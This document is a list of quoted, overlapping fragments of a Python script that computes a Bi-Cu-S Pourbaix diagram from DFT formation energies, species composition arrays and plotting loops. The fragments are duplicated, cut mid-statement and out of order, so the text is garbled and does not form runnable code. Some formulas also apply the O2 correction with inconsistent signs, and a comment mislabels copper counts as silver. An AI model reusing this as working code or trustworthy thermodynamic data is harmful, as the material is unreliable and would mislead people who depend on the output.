"species[10,5]=0 species[11,5]=0 species[12,5]=0 #Bismuth species[13,5]=0 species[14,5]=0 species[15,5]=0 species[16,5]=0 species[17,5]=0 species[18,5]=0 species[19,5]=0 species[20,5]=0 #Sulphur",
"species[41,1]=6 species[42,1]=6 species[43,1]=6 species[44,1]=14 species[45,1]=8 species[46,1]=8 #CuSOBi species[47,1]=0 species[48,1]=0 species[49,1]=0 species[50,1]=0 species[51,1]=24 species[52,1]=0",
"species[54,5]=2 species[55,5]=3 species[56,5]=2 species[57,5]=3 species[58,5]=24 species[59,5]=1 #CuBiS species[60,5]=2 species[61,5]=9 species[62,5]=10 #BiCuSO species[63,5]=1 species[64,5]=3",
"#used to iterate through pH range #Applied Potential Range and Constants Ulow =",
"and species[m, 5] ==0) or \\ (species[m, 5]==0 and species[p, 5] ==0) or",
"species[m, 5] >0 or species[p, 5])): #save species in array t=1 a =",
"dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389",
"loop, the color is found k=len(flag)+1 l=1 if(l==0): label='M1: '+str(muValues[i,j,0])+', M2: '+str(muValues[i,j,1])+' M3:",
"= np.array([[species[k, 3],species[m, 3], species[p,3]], \\ [species[k, 4],species[m, 4], species[p,4]], \\ [species[k, 5],species[m,",
"Formation Energies ################################################### species[0,0]=0.00; species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2",
"dGf_CuOH4_2*F; dGf_CuOH2_minus= dGf_CuOH2_minus*F; dGf_CuOH3= dGf_CuOH3*F; dGf_CuOH_Plus= dGf_CuOH_Plus*F; dGf_CuOH2= dGf_CuOH2*F; dGf_CuOH = dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F;",
"species[6,3]=1 species[7,3]=1 species[8,3]=1 species[9,3]=1 species[10,3]=1 species[11,3]=2 species[12,3]=3 #Bismuth and Sulphur species[13,3]=0 species[14,3]=0 species[15,3]=0",
"f=np.zeros((3)) combos=np.zeros((45000,9,3)) combo_num=0 combos[combo_num, 0, 0]=-1 combos[combo_num, 0, 1]=-1 combos[combo_num, 0, 2]=-1 for",
"species[52,6]=0 species[53,6]=4 #BiSO species[54,6]=0 species[55,6]=0 species[56,6]=1 species[57,6]=12 species[58,6]=1 species[59,6]=2 #CuBiS species[60,6]=0 species[61,6]=0 species[62,6]=0",
"9.648533*10**4; #kJ/(V*mol) P=1; #bar, 10^5*Pa eta=6 nI=10**-eta; #Activity Concentration #Array showing the composition",
"species[2,3]=2 species[3,3]=1 species[4,3]=1 species[5,3]=1 species[6,3]=1 species[7,3]=1 species[8,3]=1 species[9,3]=1 species[10,3]=1 species[11,3]=2 species[12,3]=3 #Bismuth and",
"species[14,5]=0 species[15,5]=0 species[16,5]=0 species[17,5]=0 species[18,5]=0 species[19,5]=0 species[20,5]=0 #Sulphur species[21,5]=1 species[22,5]=1 species[23,5]=1 species[24,5]=1 species[25,5]=2",
"Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996; ############################################################################### ###### Vibrational Energy ##################################################### ############################################################################### #Vibrational Energies in",
"dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O= dGf_H2O*F; ###############################################################################",
"Energy ##################################################### ############################################################################### #Vibrational Energies in eV/f.u. #From PBEsol Phonon Calculations Fvib_O2=-0.272; F_rot_trans_O2=0.099;",
"with smaller values that will be calculated. muValues=np.zeros((n+1,n+1,4)) current_mu=int current_ele=int current_H=int current_H2O=int current_aquI=int",
"and species[p, 4] ==0) or \\ (species[k, 4]==0 and species[p, 4] ==0)): if((species[k,",
"species[7,0]=dGf_CuOH3 species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus",
"composition of Cu:Bi:S composition=np.array([1,1,1]) #pH Range and Constants lowpH = -2; highpH =",
"the species matrix ################################ ############################################################################### species=np.zeros((65,8)) ######## Formation Energies ################################################### species[0,0]=0.00; species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O",
"############################ ############################################################################### #Free Energies of Formation in eV/f.u. dGf_CuO= (Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2);",
"species[42,6]=4 species[43,6]=4 species[44,6]=8 species[45,6]=5 species[46,6]=5 #CuSBiO species[47,6]=0 species[48,6]=0 species[49,6]=0 species[50,6]=0 species[51,6]=12 species[52,6]=0 species[53,6]=4",
"species[11,6]=2 species[12,6]=4 #Bi species[13,6]=0 species[14,6]=3 species[15,6]=5 species[16,6]=4 species[17,6]=7 species[18,6]=0 species[19,6]=1 species[20,6]=1 #Sulphur species[21,6]=0",
"if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]): sort[0,0]=p sort[1,0]=m sort[2,0]=s a=np.sort(sort[:,0]) muValues[i,j,0]=a[0] muValues[i,j,1]=a[1] muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu ###############################################################################",
"t=1 t=0 #If there is at least one multi-element species in this combination",
"formation energies ############################ ############################################################################### #Free Energies of Formation in eV/f.u. dGf_CuO= (Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu)",
"elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is",
"Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302 ############################################################################### ###",
"(energy) range ############################################################################### ######################## DFT CALCULATIONS ##################################### ############################################################################### #Electronic Energies in eV/f.u. #PBEsol",
"#CuBiS species[60,5]=2 species[61,5]=9 species[62,5]=10 #BiCuSO species[63,5]=1 species[64,5]=3 ######### Number of H2O's ##################################################### #Copper",
"8, 1]=f[1]/f_total combos[combo_num, 8, 2]=f[2]/f_total combo_num=combo_num+1; t=1 #print('entered') else: #Catch and switch the",
"species[20,4]=1 #Sulphur species[21,4]=0 species[22,4]=0 species[23,4]=0 species[24,4]=0 species[25,4]=0 species[26,4]=0 species[27,4]=0 species[28,4]=0 species[29,4]=0 species[30,4]=0 species[31,4]=0",
"############################################################################### ############################################################################### ############################################################################### ############################################################################### ########### Chemical Potential Mesh Calculations ############################ ############################################################################### #should be",
"species[37,6]=3 species[38,6]=3 species[39,6]=3 species[40,6]=6 species[41,6]=4 species[42,6]=4 species[43,6]=4 species[44,6]=8 species[45,6]=5 species[46,6]=5 #CuSBiO species[47,6]=0 species[48,6]=0",
"#Bi species[13,2]=0 species[14,2]=6 species[15,2]=10 species[16,2]=8 species[17,2]=14 species[18,2]=0 species[19,2]=1 species[20,2]=2 #S species[21,2]=0 species[22,2]=-2 species[23,2]=-1",
"array. if (t==0): #print(str(combo_num)+': Species1: '+str(k)+', Species2: '+str(m)+'\\n') #Species Number combos[combo_num, 0, 0]=k",
"are able to combine at the composition ########### ############################################################################### t=1 flag=1 f_total=int; f=np.zeros((3))",
"f[0]=h f[1]=i f[2]=j #Ending parameters, break loops t=0; h=40; i=40; j=40; #If there",
"species if((species[k, 3]>0 or species[m, 3] >0 or species[p, 3]) \\ and (species[k,",
"species[12,2]=4 #Bi species[13,2]=0 species[14,2]=6 species[15,2]=10 species[16,2]=8 species[17,2]=14 species[18,2]=0 species[19,2]=1 species[20,2]=2 #S species[21,2]=0 species[22,2]=-2",
"in this combination of species if((species[k, 3]>0 or species[m, 3] >0 or species[p,",
"except OSError: print('Cannot Open File') ############################################################################### #### Determine which species are able to",
"species[17,5]=0 species[18,5]=0 species[19,5]=0 species[20,5]=0 #Sulphur species[21,5]=1 species[22,5]=1 species[23,5]=1 species[24,5]=1 species[25,5]=2 species[26,5]=3 species[27,5]=4 species[28,5]=5",
"################################################# #Copper species[0,7]=0 species[1,7]=0 species[2,7]=0 species[3,7]=1 species[4,7]=1 species[5,7]=1 species[6,7]=1 species[7,7]=1 species[8,7]=1 species[9,7]=1 species[10,7]=1",
"combos[combo_num, 3, 2]=species[p,2] #Number Silvers combos[combo_num, 4, 0]=species[k,3] combos[combo_num, 4, 1]=species[m,3] combos[combo_num, 4,",
"range(1, 20): #Is there a linear combination of the elements that will allow",
"species[23,4]=0 species[24,4]=0 species[25,4]=0 species[26,4]=0 species[27,4]=0 species[28,4]=0 species[29,4]=0 species[30,4]=0 species[31,4]=0 species[32,4]=0 species[33,4]=0 species[34,4]=0 species[35,4]=0",
"= random.random(); flag[index,5] = random.random(); ax.plot(pH,U,'.', color = [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1; #####Plot H2O and",
"#break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.',",
"plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) #If drawing lines for metastable phases for i in range(1,",
"species[45,4]=0 species[46,4]=0 #CuSBiO species[47,4]=0 species[48,4]=0 species[49,4]=0 species[50,4]=0 species[51,4]=0 species[52,4]=1 species[53,4]=2 #BiSO species[54,4]=1 species[55,4]=2",
"species[58,7]=0 species[59,7]=0 #CuBiS species[60,7]=0 species[61,7]=0 species[62,7]=0 #BiCuSO species[63,7]=0 species[64,7]=0 #Function to determine species",
"which species are able to combine at the composition ########### ############################################################################### t=1 flag=1",
"dGf_Cu2= dGf_Cu2*F; dGf_CuOH4_2= dGf_CuOH4_2*F; dGf_CuOH2_minus= dGf_CuOH2_minus*F; dGf_CuOH3= dGf_CuOH3*F; dGf_CuOH_Plus= dGf_CuOH_Plus*F; dGf_CuOH2= dGf_CuOH2*F; dGf_CuOH",
"flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1",
"color = [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1; #####Plot H2O and H2 lines################################## muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1)); for",
"species[39,3]=0 species[40,3]=0 species[41,3]=0 species[42,3]=0 species[43,3]=0 species[44,3]=0 species[45,3]=0 species[46,3]=0 #CuBiSO species[47,3]=2 species[48,3]=7 species[49,3]=1 species[50,3]=1",
"= [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,2]and",
"species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus",
"species[18,3]=0 species[19,3]=0 species[20,3]=0 species[21,3]=0 species[22,3]=0 species[23,3]=0 species[24,3]=0 species[25,3]=0 species[26,3]=0 species[27,3]=0 species[28,3]=0 species[29,3]=0 species[30,3]=0",
"dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382",
"==0)): if((species[k, 5]==0 and species[m, 5] ==0) or \\ (species[m, 5]==0 and species[p,",
"species[28,7]=1 species[29,7]=1 species[30,7]=1 species[31,7]=1 species[32,7]=1 species[33,7]=1 species[34,7]=1 species[35,7]=1 species[36,7]=1 species[37,7]=1 species[38,7]=1 species[39,7]=1 species[40,7]=1",
"species[63,7]=0 species[64,7]=0 #Function to determine species combinations try: combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0]) except OSError:",
"energies for each species number pH=lowpH+(i*pHcount); for j in range(0,n+1): U=Ulow+(j*Ucount); muValues[i,j,0]=-1 muValues[i,j,1]=-1",
"want, suggested (30-140): \") n=30; #Constants R=8.31447; #kJ/(mol*K) T=298.15; #K F= 9.648533*10**4; #kJ/(V*mol)",
"Pourbaix Diagram ################################### ############################################################################### flag = np.zeros((50,6)) # The first 4 indexes are",
"#CuSBiO species[47,7]=0 species[48,7]=0 species[49,7]=0 species[50,7]=0 species[51,7]=0 species[52,7]=0 species[53,7]=0 #BiSO species[54,7]=0 species[55,7]=0 species[56,7]=0 species[57,7]=0",
"#Number Silvers combos[combo_num, 4, 0]=species[k,3] combos[combo_num, 4, 1]=species[m,3] combos[combo_num, 4, 2]=species[p,3] #Number Bismuth",
"species[18,1]=3 species[19,1]=3 species[20,1]=3 #S species[21,1]=0 species[22,1]=-2 species[23,1]=-2 species[24,1]=-2 species[25,1]=-2 species[26,1]=-2 species[27,1]=-2 species[28,1]=-2 species[29,1]=4",
"species[51,2]=24 species[52,2]=0 species[53,2]=8 #BiSO species[54,2]=0 species[55,2]=0 species[56,2]=2 species[57,2]=24 species[58,2]=2 species[59,2]=4 #BiCuS species[60,2]=0 species[61,2]=0",
"species[56,2]=2 species[57,2]=24 species[58,2]=2 species[59,2]=4 #BiCuS species[60,2]=0 species[61,2]=0 species[62,2]=0 #BiCuSO species[63,2]=2 species[64,2]=0 ########### Number",
"#bar, 10^5*Pa eta=6 nI=10**-eta; #Activity Concentration #Array showing the composition of Cu:Bi:S composition=np.array([1,1,1])",
"species[46,1]=8 #CuSOBi species[47,1]=0 species[48,1]=0 species[49,1]=0 species[50,1]=0 species[51,1]=24 species[52,1]=0 species[53,1]=8 #BiSO species[54,1]=0 species[55,1]=0 species[56,1]=2",
"############################################################################### species=np.zeros((65,8)) ######## Formation Energies ################################################### species[0,0]=0.00; species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus",
"species[11,4]=0 species[12,4]=0 #Bismuth species[13,4]=1 species[14,4]=2 species[15,4]=2 species[16,4]=2 species[17,4]=4 species[18,4]=1 species[19,4]=1 species[20,4]=1 #Sulphur species[21,4]=0",
"combo_num=0 combos[combo_num, 0, 0]=-1 combos[combo_num, 0, 1]=-1 combos[combo_num, 0, 2]=-1 for k in",
"species[56,6]=1 species[57,6]=12 species[58,6]=1 species[59,6]=2 #CuBiS species[60,6]=0 species[61,6]=0 species[62,6]=0 #BiCuSO species[63,6]=1 species[64,6]=0 ########## Aqueous",
"0]=-1 combos[combo_num, 0, 1]=-1 combos[combo_num, 0, 2]=-1 for k in range(0, len(species)): for",
"species[31,5]=2 species[32,5]=5 species[33,5]=4 species[34,5]=2 species[35,5]=2 species[36,5]=3 species[37,5]=1 species[38,5]=1 species[39,5]=1 species[40,5]=2 species[41,5]=1 species[42,5]=1 species[43,5]=1",
"and species[m, 4] ==0) or \\ (species[m, 4]==0 and species[p, 4] ==0) or",
"species[54,1]=0 species[55,1]=0 species[56,1]=2 species[57,1]=24 species[58,1]=2 species[59,1]=4 #CuBiS species[60,1]=0 species[61,1]=0 species[62,1]=0 #BiCuSO species[63,1]=2 species[64,1]=0",
"dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F;",
"current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]): sort[0,0]=p sort[1,0]=m sort[2,0]=s a=np.sort(sort[:,0]) muValues[i,j,0]=a[0] muValues[i,j,1]=a[1] muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu ############################################################################### ###############################################################################",
"species[50,6]=0 species[51,6]=12 species[52,6]=0 species[53,6]=4 #BiSO species[54,6]=0 species[55,6]=0 species[56,6]=1 species[57,6]=12 species[58,6]=1 species[59,6]=2 #CuBiS species[60,6]=0",
"Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996; ############################################################################### ###### Vibrational Energy ##################################################### ############################################################################### #Vibrational",
"found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop,",
"range(0, pHrange): pHArray[i] =lowpH+i; muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange] =lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ############################################################## ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1)",
"and switch the value of t back to no t=1 save('BiCuOS-speciesCombo.npy', combos) save('BiCuOS-numberSpecies.npy',",
"if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0]) or (muValues[i,j,1]!=muValues[i,j-1,1])):",
"species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus",
"species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus",
"species[58,1]=2 species[59,1]=4 #CuBiS species[60,1]=0 species[61,1]=0 species[62,1]=0 #BiCuSO species[63,1]=2 species[64,1]=0 ######## Hydrogen H+ Count",
"specicies considered #populate with smaller values that will be calculated. muValues=np.zeros((n+1,n+1,4)) current_mu=int current_ele=int",
"in range(0, n+1): pH=lowpH+i*pHcount; for j in range(0,n+1): U=Ulow+(Ucount*j); l=0 for k in",
"species[45,5]=1 species[46,5]=2 #CuSBiO species[47,5]=1 species[48,5]=4 species[49,5]=1 species[50,5]=2 species[51,5]=3 species[52,5]=0 species[53,5]=0 #BiSO species[54,5]=2 species[55,5]=3",
"print('Cannot Open File') ############################################################################### #### Determine which species are able to combine at",
"Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position() ax.set_position([chartBox.x0, chartBox.y0, chartBox.width*1.5,",
"Ee_CuOH2_s=-25.1916025; #PBEsol Ee_O2=-10.281123 Ee_H2=-6.5141508 Ee_S= -4.391811875; ############################################################################### ########### MULTICOMPONENT SPECIES ############################################ #Calculated with",
"dGf_H2O= dGf_H2O*F; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############### Populate the species matrix ################################ ###############################################################################",
"### Compounds-Calculate the formation energies ############################ ############################################################################### #Free Energies of Formation in eV/f.u.",
"to no t=1 save('BiCuOS-speciesCombo.npy', combos) save('BiCuOS-numberSpecies.npy', asarray([[combo_num]])) print('The number of species combinations is",
"linear combination, save the species in the combos array. if (t==0): #print(str(combo_num)+': Species1:",
"species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3 species[38,0]=dGf_HSO3_Minus species[39,0]=dGf_SO3_2Minus",
"for i in range(0, n+1): pH=lowpH+i*pHcount; for j in range(0,n+1): U=Ulow+(Ucount*j); l=0 for",
"much detail you want in your graph #n=input(\"Enter the mesh grid detail you",
"species[8,0]=dGf_CuOH_Plus species[9,0]=dGf_CuOH2 species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus",
"species[25,2]=0 species[26,2]=0 species[27,2]=0 species[28,2]=0 species[29,2]=6 species[30,2]=5 species[31,2]=4 species[32,2]=12 species[33,2]=12 species[34,2]=6 species[35,2]=8 species[36,2]=12 species[37,2]=4",
"############################################################################### ######################## DFT CALCULATIONS ##################################### ############################################################################### #Electronic Energies in eV/f.u. #PBEsol with SOC",
"Fvib_CuBiS2=-0.08663072302 ############################################################################### ### Compounds-Calculate the formation energies ############################ ############################################################################### #Free Energies of Formation",
"species[60,1]=0 species[61,1]=0 species[62,1]=0 #BiCuSO species[63,1]=2 species[64,1]=0 ######## Hydrogen H+ Count #################################################### #Cu species[0,2]=0",
"l=1 if(l==0): label='M1: '+str(muValues[i,j,0])+', M2: '+str(muValues[i,j,1])+' M3: '+str(muValues[i,j,2]) flag[index,0] = muValues[i,j,0] flag[index,1] =",
"species[55,7]=0 species[56,7]=0 species[57,7]=0 species[58,7]=0 species[59,7]=0 #CuBiS species[60,7]=0 species[61,7]=0 species[62,7]=0 #BiCuSO species[63,7]=0 species[64,7]=0 #Function",
"t back to no t=1 save('BiCuOS-speciesCombo.npy', combos) save('BiCuOS-numberSpecies.npy', asarray([[combo_num]])) print('The number of species",
"############################################## #Cu species[0,3]=1 species[1,3]=1 species[2,3]=2 species[3,3]=1 species[4,3]=1 species[5,3]=1 species[6,3]=1 species[7,3]=1 species[8,3]=1 species[9,3]=1 species[10,3]=1",
"dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3)",
"t=1 #print('entered') else: #Catch and switch the value of t back to no",
"in range(3,6): if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]): sort[0,0]=p sort[1,0]=m sort[2,0]=s a=np.sort(sort[:,0]) muValues[i,j,0]=a[0] muValues[i,j,1]=a[1] muValues[i,j,2]=a[2]",
"species[4,5]=0 species[5,5]=0 species[6,5]=0 species[7,5]=0 species[8,5]=0 species[9,5]=0 species[10,5]=0 species[11,5]=0 species[12,5]=0 #Bismuth species[13,5]=0 species[14,5]=0 species[15,5]=0",
"range(1,n): U=Ulow+(j*Ucount); #If drawing lines for metastable phases if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2)",
"3] ==0) or \\ (species[k, 3]==0 and species[p, 3] ==0)): if((species[k, 4]==0 and",
"current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1 for t in range(3,6): if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution",
"species[27,1]=-2 species[28,1]=-2 species[29,1]=4 species[30,1]=4 species[31,1]=4 species[32,1]=10 species[33,1]=10 species[34,1]=6 species[35,1]=6 species[36,1]=10 species[37,1]=4 species[38,1]=4 species[39,1]=4",
"species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2 species[55,0]=dGf_Bi2S3",
"Copper Species dGf_Cu1= 0.506502 dGf_Cu2= 0.674092 dGf_CuOH2_minus= -3.4518209 dGf_CuOH3= -5.1197432 dGf_CuOH_Plus= -1.3127387 dGf_CuOH4_2=-6.814302",
